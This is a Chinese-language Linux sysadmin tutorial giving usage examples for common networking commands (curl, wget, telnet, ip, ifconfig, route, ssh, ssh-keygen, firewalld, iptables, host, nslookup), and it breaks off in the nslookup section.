Linux运维——网络管理

一、Linux网络应用要点

• 下载文件 - 使用 curl、wget
• telnet 方式登录远程主机，对远程主机进行管理 - 使用 telnet
• 查看或操纵 Linux 主机的路由、网络设备、策略路由和隧道 - 使用 ip
• 查看和设置系统的主机名 - 使用 hostname
• 查看和配置 Linux 内核中网络接口的网络参数 - 使用 ifconfig
• 查看和设置 Linux 内核中的网络路由表 - 使用 route
• ssh 方式连接远程主机 - 使用 ssh
• 为 ssh 生成、管理和转换认证密钥 - 使用 ssh-keygen
• 查看、设置防火墙（Centos7），使用 firewalld
• 查看、设置防火墙（Centos7 以前），使用 iptables
• 查看域名信息 - 使用 host, nslookup
• 设置路由 - 使用 nc/netcat
• 测试主机之间网络是否连通 - 使用 ping
• 追踪数据在网络上的传输时的全部路径 - 使用 traceroute
• 查看当前工作的端口信息 - 使用 netstat

二、命令常见用法

2.1、curl

curl 命令是一个利用 URL 规则在命令行下工作的文件传输工具。它支持文件的上传和下载，所以是综合传输工具，但按传统，习惯称 curl 为下载工具。作为一款强力工具，curl 支持包括 HTTP、HTTPS、ftp 等众多协议，还支持 POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化，curl 可以祝一臂之力。

2.1.1、发送GET请求

curl <URL>
# 示例：
curl https://example.com

保存输出到文件：

curl -o <文件名> <URL>
# 示例：
curl -o output.html https://example.com

自动命名保存文件：

curl -O <URL>
# 示例：
curl -O https://example.com/index.html

2.1.2、发送POST请求

发送表单数据：

curl -X POST -d "key1=value1&key2=value2" <URL>
# 示例：
curl -X POST -d "username=admin&password=123456" https://example.com/login

发送 JSON 数据：

curl -X POST -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' <URL>
# 示例：
curl -X POST -H "Content-Type: application/json" -d '{"name":"John", "age":30}' https://example.com/api

2.1.3、设置请求头

curl -H "HeaderName: HeaderValue" <URL>
# 示例：
curl -H "Authorization: Bearer token123" https://example.com/api

2.1.4、处理cookies

发送 cookies：

curl -b "name=value" <URL>
# 示例：
curl -b "sessionid=abc123" https://example.com

保存 cookies 到文件：

curl -c <cookies文件> <URL>
# 示例：
curl -c cookies.txt https://example.com

使用 cookies 文件：

curl -b <cookies文件> <URL>
# 示例：
curl -b cookies.txt https://example.com

2.1.5、处理重定向

自动跟随重定向：

curl -L <URL>
# 示例：
curl -L https://example.com

限制重定向次数：

curl -L --max-redirs <次数> <URL>
# 示例：
curl -L --max-redirs 5 https://example.com

2.1.6、调试和详细信息

显示请求和响应头：

curl -v <URL>
# 示例：
curl -v https://example.com

仅显示响应头：

curl -I <URL>
# 示例：
curl -I https://example.com

2.1.7、使用代理

设置 HTTP 代理：

curl -x <代理地址> <URL>
# 示例：
curl -x http://proxy.example.com:8080 https://example.com

设置 SOCKS 代理：

curl --socks5 <代理地址> <URL>
# 示例：
curl --socks5 127.0.0.1:1080 https://example.com

2.1.8、文件上传

上传文件：

curl -F "file=@<文件路径>" <URL>
# 示例：
curl -F "file=@/path/to/file.txt" https://example.com/upload

上传文件并设置文件名：

curl -F "file=@<文件路径>;filename=<新文件名>" <URL>
# 示例：
curl -F "file=@/path/to/file.txt;filename=newname.txt" https://example.com/upload

2.1.9、其它常用选项

限制下载速度：

curl --limit-rate <速度> <URL>
# 示例：
curl --limit-rate 100K https://example.com/file.zip

断点续传：

curl -C - -o <文件名> <URL>
# 示例：
curl -C - -o file.zip https://example.com/file.zip

忽略 SSL 证书验证：

curl -k <URL>
# 示例：
curl -k https://example.com

2.1.10、综合示例

下载文件并保存：

curl -o file.zip https://example.com/file.zip

发送 POST 请求并保存响应：

curl -X POST -d "param1=value1&param2=value2" -o response.txt https://example.com/api

调试请求：

curl -v -H "Authorization: Bearer token123" https://example.com/api

下载文件，指定下载路径，并查看进度

curl http://man.linuxde.net/test.iso -o filename.iso --progress
########################################## 100.0%

2.2、wget

wget 是一个命令行工具，用于从网络上下载文件，支持 HTTP、HTTPS 和 FTP 协议。它非常适合批量下载、递归下载以及断点续传等操作。

2.2.1、基本用法

下载单个文件：

wget <URL>
# 示例：
wget https://example.com/file.zip

下载并指定保存文件名：

wget -O <文件名> <URL>
# 示例：
wget -O myfile.zip https://example.com/file.zip

2.2.2、断点续传

继续未完成的下载

wget -c <URL>
# 示例：
wget -c https://example.com/file.zip

2.2.3、批量下载

从文件列表中下载

# 将多个 URL 保存在一个文件中（如 urls.txt），然后使用：
wget -i <文件>
# 示例：
wget -i urls.txt

2.2.4、递归下载

下载整个网站：

wget -r <URL>
# 示例：
wget -r https://example.com

限制递归深度：

wget -r -l <深度> <URL>
# 示例：
wget -r -l 2 https://example.com

下载特定类型的文件：

wget -r -A <文件类型> <URL>
# 示例：
wget -r -A "*.jpg" https://example.com

2.2.5、限制下载速度

wget --limit-rate=<速度> <URL>
# 示例：
wget --limit-rate=100k https://example.com/file.zip

2.2.6、后台下载

wget -b <URL>
# 示例：
wget -b https://example.com/file.zip

2.2.7、处理 cookies

使用 cookies 文件：

wget --load-cookies <cookies文件> <URL>
# 示例：
wget --load-cookies cookies.txt https://example.com

2.2.8、设置用户代理

wget --user-agent=<用户代理字符串> <URL>
# 示例：
wget --user-agent="Mozilla/5.0" https://example.com

2.2.9、下载 FTP 文件

下载 FTP 文件:

wget ftp://example.com/file.zip

使用用户名和密码：

wget --ftp-user=<用户名> --ftp-password=<密码> ftp://example.com/file.zip
# 示例：
wget --ftp-user=admin --ftp-password=123456 ftp://example.com/file.zip

2.2.10、其他常用选项

忽略 SSL 证书验证：

wget --no-check-certificate <URL>
# 示例：
wget --no-check-certificate https://example.com

限制重试次数：

wget --tries=<次数> <URL>
# 示例：
wget --tries=5 https://example.com

静默模式（不显示输出）：

wget -q <URL>
# 示例：
wget -q https://example.com

2.2.11、综合示例

下载整个网站并限制速度：

wget -r --limit-rate=100k https://example.com

断点续传下载大文件：

wget -c https://example.com/largefile.zip

批量下载图片：

wget -r -A "*.jpg" https://example.com/images

2.3、telnet

telnet 是一个用于远程登录和管理网络设备的命令行工具，基于 Telnet 协议。它也可以用于测试网络服务的连通性。

2.3.1、基本用法

连接到远程主机

telnet <主机名或IP> <端口>
# 示例：
telnet example.com 23

2.3.2、测试端口连通性

telnet 常用于测试某个端口是否开放。例如，测试 example.com 的 80 端口：

telnet example.com 80
# 如果连接成功，会显示 Connected to example.com。
# 如果连接失败，会显示 Connection refused 或超时。

2.3.3、交互模式

连接成功后，telnet 会进入交互模式，可以输入命令与远程主机通信。例如：

telnet example.com 23
#输入用户名和密码（如果需要）。
#输入命令与远程主机交互。

2.3.4、退出 telnet

在交互模式下，输入以下命令退出：

Ctrl + ]
# 然后输入 quit 并按回车：
telnet> quit

2.3.5、 常见用途

测试 HTTP 服务：

telnet example.com 80
# 连接成功后，输入：
GET / HTTP/1.1
Host: example.com
按两次回车，查看服务器返回的 HTTP 响应。

测试 SMTP 服务：

telnet example.com 25
# 连接成功后，输入 SMTP 命令与服务器交互，例如：
HELO example.com
MAIL FROM:<[e-mail]>
RCPT TO:<[e-mail]>
DATA
Subject: Test EmailThis is a test email.
.
QUIT

测试 MySQL 服务：

telnet example.com 3306
# 如果端口开放，会显示 MySQL 的版本信息。

2.3.6、注意事项

1. 安全性：Telnet 协议是明文传输，不安全，建议使用 SSH 替代。
2. 安装：如果系统未安装 telnet，可以通过以下命令安装：

# Ubuntu/Debian：
sudo apt install telnet
# CentOS/RHEL：
sudo yum install telnet

2.4、IP

ip 命令是 Linux 系统中用于管理网络接口、路由、ARP 表等网络配置的强大工具，取代了旧的 ifconfig 和 route 命令。

2.4.1、 查看网络接口信息

查看所有网络接口：

ip link show
# 或简写：
ip l

查看指定网络接口：

ip link show <接口名>
# 示例：
ip link show eth0

2.4.2、启用或禁用网络接口

启用接口:

ip link set <接口名> up
# 示例：
ip link set eth0 up

禁用接口：

ip link set <接口名> down
# 示例：
ip link set eth0 down

2.4.3、查看 IP 地址

查看所有接口的 IP 地址:

ip addr show
# 或简写：
ip a

查看指定接口的 IP 地址：

ip addr show <接口名>
# 示例：
ip addr show eth0

2.4.4、添加或删除 IP 地址

添加 IP 地址：

ip addr add <IP地址>/<子网掩码> dev <接口名>
# 示例：
ip addr add 192.168.1.100/24 dev eth0

删除 IP 地址：

ip addr del <IP地址>/<子网掩码> dev <接口名>
# 示例：
ip addr del 192.168.1.100/24 dev eth0

2.4.5、查看路由表

查看路由表：

ip route show
# 或简写：
ip r

查看指定网络的路由：

ip route show to <网络地址>
# 示例：
ip route show to 192.168.1.0/24

2.4.6、添加或删除路由

添加路由：

ip route add <目标网络> via <网关> dev <接口名>
# 示例：
ip route add 192.168.2.0/24 via 192.168.1.1 dev eth0

删除路由：

ip route del <目标网络>
# 示例：
ip route del 192.168.2.0/24

2.4.7、查看 ARP 表

查看 ARP 表：

ip neigh show
# 或简写：
ip n

删除 ARP 条目：

ip neigh del <IP地址> dev <接口名>
# 示例：
ip neigh del 192.168.1.1 dev eth0

2.4.8、查看网络统计信息

查看网络接口统计信息

ip -s link show <接口名>
# 示例：
ip -s link show eth0

2.4.9、修改接口属性

修改接口 MTU：

ip link set <接口名> mtu <MTU值>
# 示例：
ip link set eth0 mtu 1500

修改接口 MAC 地址：

ip link set <接口名> address <MAC地址>
# 示例：
ip link set eth0 address 00:11:22:33:44:55

2.4.10、综合示例

查看所有网络接口及其 IP 地址：

ip a

添加 IP 地址并启用接口：

ip addr add 192.168.1.100/24 dev eth0
ip link set eth0 up

添加默认网关：

ip route add default via 192.168.1.1 dev eth0

查看路由表：

ip r

2.5、hostname

hostname 命令用于查看和设置系统的主机名称。环境变量 HOSTNAME 也保存了当前的主机名。在使用 hostname 命令设置主机名后，系统并不会永久保存新的主机名，重新启动机器之后还是原来的主机名。如果需要永久修改主机名，需要同时修改 /etc/hosts 和 /etc/sysconfig/network 的相关内容。

2.5.1、查看当前主机名

hostname
#这会显示当前系统的主机名。

2.5.2、临时修改主机名

hostname <新主机名>
# 示例：
hostname myserver
# 这种修改是临时的，重启后会恢复为原来的主机名。

2.5.3、永久修改主机名

要永久修改主机名，需要编辑相关配置文件，具体方法因 Linux 发行版而异。

对于大多数 Linux 发行版（如 Ubuntu、Debian、CentOS 等）：

1. 编辑 /etc/hostname 文件：

sudo nano /etc/hostname
# 将文件内容替换为新主机名，例如：
myserver

2. 更新 /etc/hosts 文件：

sudo nano /etc/hosts
# 找到包含旧主机名的行，将其替换为新主机名，例如：
复制
127.0.1.1 myserver

3. 重启系统或使用以下命令立即生效：

sudo hostnamectl set-hostname <新主机名>

对于使用 systemd 的系统：

sudo hostnamectl set-hostname <新主机名>
# 示例：
sudo hostnamectl set-hostname myserver

2.5.4、查看完整主机名（FQDN）

hostname --fqdn
# 这会显示完整的主机名（Fully Qualified Domain Name，FQDN）。

2.5.5、查看主机名的其他信息

查看主机名的 IP 地址：

hostname -i

查看主机名的别名：

hostname -a

查看主机名的域名部分：

hostname -d

2.5.6、设置主机名的其他选项

设置主机名的别名：

hostname -A <别名>

设置主机名的域名：

hostname -b <域名>

2.5.7、综合示例

查看当前主机名：

hostname

临时修改主机名：

hostname temp-server

永久修改主机名：

sudo hostnamectl set-hostname myserver

查看完整主机名：

hostname --fqdn

2.6、ifconfig

ifconfig 命令被用于查看和配置 Linux 内核中网络接口的网络参数。用 ifconfig 命令配置的网卡信息，在网卡重启后机器重启后，配置就不存在。要想将上述的配置信息永远的存的电脑里，那就要修改网卡的配置文件了。

2.6.1、查看网络接口信息

查看所有网络接口：

ifconfig

查看指定网络接口：

ifconfig <接口名>
# 示例：
ifconfig eth0

2.6.2、启用或禁用网络接口

启用接口：

sudo ifconfig <接口名> up
# 示例：
sudo ifconfig eth0 up

禁用接口：

sudo ifconfig <接口名> down
# 示例：
sudo ifconfig eth0 down

2.6.3、配置 IP 地址

设置 IP 地址：

sudo ifconfig <接口名> <IP地址> netmask <子网掩码>
# 示例：
sudo ifconfig eth0 192.168.1.100 netmask 255.255.255.0

添加多个 IP 地址：

sudo ifconfig <接口名>:<别名> <IP地址> netmask <子网掩码>
# 示例：
sudo ifconfig eth0:0 192.168.1.101 netmask 255.255.255.0

2.6.4、修改 MAC 地址

临时修改 MAC 地址

sudo ifconfig <接口名> hw ether <MAC地址>
# 示例：
sudo ifconfig eth0 hw ether 00:11:22:33:44:55

2.6.5、查看网络接口统计信息

查看所有接口的统计信息：

ifconfig -a

查看指定接口的统计信息：

ifconfig <接口名>
# 示例：
ifconfig eth0

2.6.6、设置 MTU（最大传输单元）

sudo ifconfig <接口名> mtu <MTU值>
# 示例：
sudo ifconfig eth0 mtu 1500

2.6.7、综合示例

查看所有网络接口：

ifconfig

启用网络接口并设置 IP 地址

sudo ifconfig eth0 up
sudo ifconfig eth0 192.168.1.100 netmask 255.255.255.0

查看指定接口的详细信息

ifconfig eth0

2.6.8、注意事项

• 权限：修改网络配置通常需要 sudo 权限。
• 临时性：使用 ifconfig 修改的配置是临时的，重启后会失效。要永久修改网络配置，需要编辑网络配置文件（如 /etc/network/interfaces 或使用 netplan）。
• 替代工具：现代 Linux 系统推荐使用 ip 命令替代 ifconfig，因为 ifconfig 的功能较为有限。

2.7、route

route 命令用于查看和操作内核的 IP 路由表。它可以显示、添加、删除或修改路由规则。尽管现代 Linux 系统推荐使用 ip route 命令替代 route，但 route 仍然被广泛使用。

2.7.1、查看路由表

查看当前路由表

route -n
# -n 选项表示以数字形式显示 IP 地址和端口，避免 DNS 解析。

2.7.2、添加路由

添加默认网关：

sudo route add default gw <网关地址> <接口名>
# 示例：
sudo route add default gw 192.168.1.1 eth0

添加特定网络的路由：

sudo route add -net <目标网络> netmask <子网掩码> gw <网关地址> dev <接口名>
# 示例：
sudo route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.1.1 dev eth0

添加主机路由：

sudo route add -host <目标IP> gw <网关地址> dev <接口名>
# 示例：
sudo route add -host 192.168.2.100 gw 192.168.1.1 dev eth0

2.7.3、删除路由

删除默认网关:

sudo route del default gw <网关地址> <接口名>
# 示例：
sudo route del default gw 192.168.1.1 eth0

删除特定网络的路由

sudo route del -net <目标网络> netmask <子网掩码>
# 示例：
sudo route del -net 192.168.2.0 netmask 255.255.255.0

删除主机路由

sudo route del -host <目标IP>
# 示例：
sudo route del -host 192.168.2.100

2.7.4、修改路由

修改默认网关：

sudo route change default gw <新网关地址> <接口名>
# 示例：
sudo route change default gw 192.168.1.254 eth0

2.7.5、其他常用选项

显示详细信息

route -v

显示所有路由（包括未激活的路由）

route -ee

2.7.6、综合示例

查看路由表

route -n

添加默认网关

sudo route add default gw 192.168.1.1 eth0

添加特定网络的路由

sudo route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.1.1 dev eth0

删除特定网络的路由

sudo route del -net 192.168.2.0 netmask 255.255.255.0

2.7.7、注意事项

注意事项

• 权限：修改路由表通常需要 sudo 权限。
• 临时性：使用 route 命令修改的路由是临时的，重启后会失效。要永久修改路由，需要编辑网络配置文件（如 /etc/network/interfaces 或使用 netplan）。
• 替代工具：现代 Linux 系统推荐使用 ip route 命令替代 route，因为 ip route 功能更强大且更灵活。

2.8、ssh

ssh 命令是 openssh 套件中的客户端连接工具，可以给予 ssh 加密协议实现安全的远程登录服务器。

ssh [选项] [用户名@]主机名或IP地址

常用选项：

• -p <端口号>：指定远程主机的SSH端口（默认是22）。
• -i <私钥文件>：指定用于身份验证的私钥文件。
• -l <用户名>：指定登录用户名。
• -v：详细模式，显示调试信息（可以多次使用，如 -vvv 以增加详细程度）。
• -X：启用X11转发，允许在远程主机上运行图形应用程序。
• -L <本地端口>:<远程主机>:<远程端口>：设置本地端口转发。
• -R <远程端口>:<本地主机>:<本地端口>：设置远程端口转发。
• -D <本地端口>：设置动态端口转发（SOCKS代理）。

使用示例：
基本远程登录

ssh user@192.168.1.100
#这将使用用户名 user 登录到 IP 地址为 192.168.1.100 的远程主机。

指定端口

ssh -p 2222 user@192.168.1.100
# 这将连接到远程主机的 2222 端口。

使用私钥文件

ssh -i /path/to/private_key user@192.168.1.100
#这将使用指定的私钥文件进行身份验证。

启用X11转发

ssh -X user@192.168.1.100
#这将启用X11转发，允许在远程主机上运行图形应用程序。

本地端口转发

ssh -L 8080:localhost:80 user@192.168.1.100
# 这将把本地的 8080 端口转发到远程主机的 80 端口。

远程端口转发

ssh -R 8080:localhost:80 user@192.168.1.100
#这将把远程主机的 8080 端口转发到本地的 80 端口。

动态端口转发（SOCKS代理）

ssh -D 1080 user@192.168.1.100
# 这将设置一个动态端口转发，创建一个SOCKS代理，可以通过本地 1080 端口访问远程网络。

退出SSH会话

在SSH会话中，你可以通过输入 exit 或按 Ctrl+D 来退出并关闭连接。

其他注意事项：

• 配置文件：SSH的配置文件通常位于 ~/.ssh/config，你可以在其中定义主机别名、端口、用户名等，简化命令行操作。
• 公钥认证：为了提高安全性，建议使用公钥认证而不是密码认证。你可以使用 ssh-keygen 生成密钥对，并将公钥添加到远程主机的 ~/.ssh/authorized_keys 文件中。

示例配置文件：

Host myserverHostName 192.168.1.100User userPort 2222IdentityFile /path/to/private_key

2.9、ssh-keygen

ssh-keygen 命令用于为 ssh 生成、管理和转换认证密钥，它支持 RSA 和 DSA 两种认证密钥。

ssh-kengen [选项]

常用选项：

• -t <密钥类型> 指定密钥类型，如 rsa, ed25519, ecdsa 等。默认是 rsa。
• -b <密钥长度> 指定密钥的位数（仅适用于 rsa 和 ecdsa）。例如 -b 4096。
• -C <注释> 为密钥添加注释，通常是电子邮件或描述。
• -f <文件名> 指定生成的密钥文件的路径和名称。
• -N <密码> 为私钥设置密码（passphrase）。
• -p 更改现有私钥的密码。
• -q 静默模式，不显示输出。
• -y 从私钥生成公钥。

使用示例：
生成默认的 RSA 密钥对

ssh-keygen
# 默认生成 ~/.ssh/id_rsa（私钥）和 ~/.ssh/id_rsa.pub（公钥）。
# 会提示你输入保存路径和密码（可选）。

生成指定类型的密钥对

ssh-keygen -t ed25519
# 生成 ed25519 类型的密钥对，默认保存为 ~/.ssh/id_ed25519 和 ~/.ssh/id_ed25519.pub。

指定密钥长度

ssh-keygen -t rsa -b 4096
# 生成 4096 位的 RSA 密钥对。

指定密钥文件路径

ssh-keygen -f ~/.ssh/my_key
# 生成密钥对并保存为 ~/.ssh/my_key（私钥）和 ~/.ssh/my_key.pub（公钥）。

为密钥添加注释

# ssh-keygen -C "[e-mail]"
在公钥中添加注释 [e-mail]。

为私钥设置密码

ssh-keygen -N "my_passphrase"
# 为生成的私钥设置密码 my_passphrase。

更改现有私钥的密码

ssh-keygen -p -f ~/.ssh/id_rsa
# 更改 ~/.ssh/id_rsa 私钥的密码。

从私钥生成公钥

ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub
# 从私钥 ~/.ssh/id_rsa 生成公钥并保存到 ~/.ssh/id_rsa.pub。

密钥对的使用：

将公钥添加到远程主机

将生成的公钥（如 ~/.ssh/id_rsa.pub）内容复制到远程主机的 ~/.ssh/authorized_keys 文件中。

可以使用以下命令自动完成：

ssh-copy-id -i ~/.ssh/id_rsa.pub user@remote_host

使用密钥登录远程主机

ssh -i ~/.ssh/my_key user@remote_host

注意事项：

• 密钥类型选择：
  • ed25519：推荐使用，安全性高且性能好。
  • rsa：兼容性好，但建议密钥长度至少为 4096 位。
  • ecdsa：基于椭圆曲线，安全性高，但兼容性稍差。
• 私钥保护：私钥文件应妥善保管，避免泄露。可以为私钥设置密码以增加安全性。
• 默认路径：SSH 默认会查找 ~/.ssh/id_rsa 或 ~/.ssh/id_ed25519 等密钥文件。如果使用其他路径，需要通过 -i 选项指定。

2.10、firewalld

firewalld 是一个动态管理防火墙的工具，它提供了对网络流量进行控制的接口，支持区域（zones）和服务（services）的概念。以下是 firewalld 的常用命令和操作。

2.10.1、启动、停止和重启 firewalld

# 启动 firewalld
sudo systemctl start firewalld# 停止 firewalld
sudo systemctl stop firewalld# 重启 firewalld
sudo systemctl restart firewalld# 设置 firewalld 开机自启
sudo systemctl enable firewalld# 禁用 firewalld 开机自启
sudo systemctl disable firewalld# 检查 firewalld 状态
sudo systemctl status firewalld

2.10.2、查看 firewalld 状态

# 查看 firewalld 是否运行
sudo firewall-cmd --state# 查看默认区域
sudo firewall-cmd --get-default-zone# 查看所有区域
sudo firewall-cmd --get-zones# 查看当前区域的配置
sudo firewall-cmd --list-all# 查看指定区域的配置
sudo firewall-cmd --zone=public --list-all

2.10.3、管理区域（Zones）

区域是 firewalld 的核心概念，每个区域定义了不同的信任级别和规则。

# 设置默认区域
sudo firewall-cmd --set-default-zone=public# 查看当前活动的区域
sudo firewall-cmd --get-active-zones# 将网络接口绑定到指定区域
sudo firewall-cmd --zone=work --change-interface=eth0# 查看指定接口的区域
sudo firewall-cmd --get-zone-of-interface=eth0

2.10.4、管理服务（Services）

服务是预定义的规则集合，用于允许特定类型的流量。

# 查看所有预定义的服务
sudo firewall-cmd --get-services# 允许某个服务（如 http）
sudo firewall-cmd --zone=public --add-service=http# 永久允许某个服务
sudo firewall-cmd --zone=public --add-service=http --permanent# 移除某个服务
sudo firewall-cmd --zone=public --remove-service=http# 永久移除某个服务
sudo firewall-cmd --zone=public --remove-service=http --permanent

2.10.5、管理端口

# 允许某个端口（如 8080）
sudo firewall-cmd --zone=public --add-port=8080/tcp# 永久允许某个端口
sudo firewall-cmd --zone=public --add-port=8080/tcp --permanent# 移除某个端口
sudo firewall-cmd --zone=public --remove-port=8080/tcp# 永久移除某个端口
sudo firewall-cmd --zone=public --remove-port=8080/tcp --permanent

2.10.6、管理源地址

# 允许某个 IP 地址访问
sudo firewall-cmd --zone=public --add-source=192.168.1.100# 永久允许某个 IP 地址访问
sudo firewall-cmd --zone=public --add-source=192.168.1.100 --permanent# 移除某个 IP 地址的访问权限
sudo firewall-cmd --zone=public --remove-source=192.168.1.100# 永久移除某个 IP 地址的访问权限
sudo firewall-cmd --zone=public --remove-source=192.168.1.100 --permanent

2.10.7、重载配置

在修改了永久规则后，需要重载配置使其生效。

sudo firewall-cmd --reload

2.10.8、高级功能

端口转发

# 将本地端口 8080 转发到 80
sudo firewall-cmd --zone=public --add-forward-port=port=8080:proto=tcp:toport=80# 永久生效
sudo firewall-cmd --zone=public --add-forward-port=port=8080:proto=tcp:toport=80 --permanent

富规则（Rich Rules）

# 富规则允许更复杂的规则配置。
# 允许某个 IP 访问特定端口
sudo firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="192.168.1.100" port protocol="tcp" port="22" accept'
# 永久生效
sudo firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="192.168.1.100" port protocol="tcp" port="22" accept' --permanent

2.10.9、备份和恢复配置

# 备份配置
sudo cp /etc/firewalld/firewalld.conf /etc/firewalld/firewalld.conf.bak# 恢复配置
sudo cp /etc/firewalld/firewalld.conf.bak /etc/firewalld/firewalld.conf
sudo firewall-cmd --reload

2.10.10、日志管理

# 查看 firewalld 日志
sudo journalctl -u firewalld# 实时查看日志
sudo journalctl -u firewalld -f

2.10.11、注意事项

• 永久规则：使用 --permanent 选项的规则需要重载（–reload）后才能生效。
• 区域选择：根据网络环境选择合适的区域（如 public、work、home 等）。
• 测试规则：在应用新规则前，建议先测试，避免意外阻断网络连接。

2.11、iptables

iptables 命令是 Linux 上常用的防火墙软件，是 netfilter 项目的一部分。可以直接配置，也可以通过许多前端和图形界面配置。

2.11.1、基本概念

• 表（Tables）：iptables 有多个表，每个表用于不同的功能：
  • filter：默认表，用于过滤数据包（允许或拒绝）。
  • nat：用于网络地址转换（NAT）。
  • mangle：用于修改数据包头（如 TTL、TOS）。
  • raw：用于配置数据包是否被连接跟踪。
• 链（Chains）：每个表包含多个链，链是规则的集合：
  • INPUT：处理进入本机的数据包。
  • OUTPUT：处理从本机发出的数据包。
  • FORWARD：处理转发的数据包。
  • PREROUTING：用于 nat 表，在路由之前修改数据包。
  • POSTROUTING：用于 nat 表，在路由之后修改数据包。
• 规则（Rules）：每条规则定义了对数据包的处理方式（如允许、拒绝、丢弃）。

2.11.2、基本语法

iptables [-t 表名] 命令 [链名] [规则] [动作]

常用命令：

• -A 在链的末尾添加规则。
• -I 在链的开头或指定位置插入规则。
• -D 删除链中的规则。
• -L 列出链中的规则。
• -F 清空链中的所有规则。
• -P 设置链的默认策略（如 ACCEPT、DROP）。
• -N 创建新的用户自定义链。
• -X 删除用户自定义链。
• -E 重命名用户自定义链。

常用选项：

• -p 指定协议（如 tcp、udp、icmp）。
• --dport 指定目标端口。
• --sport 指定源端口。
• -s 指定源地址。
• -d 指定目标地址。
• -i 指定输入网络接口。
• -o 指定输出网络接口。
• -j 指定动作（如 ACCEPT、DROP、REJECT）。
• -m 使用扩展模块（如 state、multiport）。

2.11.3、常用操作

查看规则：

# 查看 filter 表的规则
iptables -L -n -v# 查看 nat 表的规则
iptables -t nat -L -n -v

清空规则：

# 清空 filter 表的所有规则
iptables -F# 清空 nat 表的所有规则
iptables -t nat -F

设置默认策略：

# 设置 INPUT 链的默认策略为 DROP
iptables -P INPUT DROP# 设置 OUTPUT 链的默认策略为 ACCEPT
iptables -P OUTPUT ACCEPT# 设置 FORWARD 链的默认策略为 DROP
iptables -P FORWARD DROP

允许或拒绝流量：

# 允许来自 192.168.1.0/24 的流量
iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT# 拒绝来自 192.168.1.100 的流量
iptables -A INPUT -s 192.168.1.100 -j DROP# 允许访问本机的 22 端口（SSH）
iptables -A INPUT -p tcp --dport 22 -j ACCEPT# 允许本机访问外部 80 端口（HTTP）
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT

使用扩展模块：

# 允许已建立的连接和相关的流量
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT# 允许访问多个端口（如 80 和 443）
iptables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT

NAT配置：

# 启用 IP 转发
echo 1 > /proc/sys/net/ipv4/ip_forward# 配置源地址转换（SNAT）
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE# 配置目标地址转换（DNAT）
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:8080

2.11.4、保护和恢复规则

iptables 的规则在重启后会丢失，需要手动保存和恢复。
保存规则

# 保存规则到文件
iptables-save > /etc/iptables/rules.v4
恢复规则# 从文件恢复规则
iptables-restore < /etc/iptables/rules.v4# 自动保存和恢复
# 在 Debian/Ubuntu 系统中，可以使用 iptables-persistent 包：
sudo apt install iptables-persistent
sudo netfilter-persistent save
sudo netfilter-persistent reload

2.11.5、调试和日志

# 记录被拒绝的数据包
iptables -A INPUT -j LOG --log-prefix "iptables-dropped: "# 查看日志
tail -f /var/log/syslog

2.11.6、注意事项

• 谨慎操作：在远程服务器上配置 iptables 时，确保不会阻断自己的连接（如 SSH）。
• 测试规则：在应用新规则前，建议先测试，避免意外阻断网络连接。
• 备份规则：在修改规则前，备份现有规则，以便恢复。

2.12、host

host 是一个用于查询 DNS（域名系统）信息的命令行工具。它可以用来查找域名的 IP 地址、反向查找 IP 地址对应的域名，以及查询域名的其他 DNS 记录（如 MX、NS 等）。以下是 host 命令的基本用法和常见操作。

2.12.1、基本用法

host [选项] 域名或IP地址 【DNS服务器】

常用选项：

• -a 显示所有 DNS 记录（相当于 -t ANY）。
• -t <类型> 查询指定类型的 DNS 记录（如 A、MX、NS、TXT 等）。
• -4 仅使用 IPv4 查询。
• -6 仅使用 IPv6 查询。
• -C 查询域名的 SOA 记录。
• -v 显示详细信息。
• -r 禁用递归查询。
• -W <超时> 设置查询超时时间（秒）。

2.12.2、常用操作

查询域名的 IP 地址：

host example.com
# 输出示例：
example.com has address 93.184.216.34
example.com has IPv6 address 2606:2800:220:1:248:1893:25c8:1946

查询指定类型的 DNS 记录：

# 查询 MX 记录（邮件服务器）
host -t MX example.com# 查询 NS 记录（域名服务器）
host -t NS example.com# 查询 TXT 记录（文本记录）
host -t TXT example.com

查询所有 DNS 记录：

host -a example.com

反向查找 IP 地址对应的域名：

host 93.184.216.34
# 输出示例
34.216.184.93.in-addr.arpa domain name pointer example.com.

指定 DNS 服务器查询：

host example.com 8.8.8.8
#这将使用 Google 的公共 DNS 服务器（8.8.8.8）进行查询。

查询域名的 SOA 记录：

host -C example.com

查询 IPv6 地址：

host -t AAAA example.com

设置查询超时时间：

host -W 5 example.com
# 这将设置查询超时时间为 5 秒。

2.12.3、高级用法

查询域名的 SPF 记录：

host -t TXT example.com
# SPF 记录通常以 v=spf1 开头。

查询域名的 CNAME 记录：

host -t CNAME www.example.com

查询域名的 PTR 记录：

host -t PTR 34.216.184.93.in-addr.arpa

禁用递归查询：

host -r example.com

2.12.4、注意事项

• DNS 缓存：查询结果可能受到本地 DNS 缓存的影响。如果需要最新结果，可以刷新 DNS 缓存。
• DNS 服务器：默认情况下，host 使用系统配置的 DNS 服务器。可以通过指定 DNS 服务器来覆盖默认设置。
• 超时设置：如果网络较慢，可以增加超时时间以避免查询失败。

2.14.5、与其它工具比较

• nslookup：功能类似，但交互性更强。
• dig：功能更强大，适合高级用户。

2.13、nslookup

nslookup 是一个用于查询 DNS（域名系统）信息的命令行工具。它可以用来查找域名的 IP 地址、反向查找 IP 地址对应的域名，以及查询域名的其他 DNS 记录（如 MX、NS 等）。以下是 nslookup 命令的基本用法和常见操作。

2.13.1、基本用法

nslookup [选项] [域名或IP地址] [DNS服务器]

常用选项：

• -type=<记录类型> 查询指定类型的 DNS 记录（如 A、MX、NS、TXT 等）。
• -debug 显示详细的调试信息。
• -timeout=<秒> 设置查询超时时间。
• -port=<端口> 指定 DNS 服务器的端口（默认是 53）。

2.13.2、常用操作

查询域名的 IP 地址：

nslookup example.com
# 输出示例：
Server:         8.8.8.8
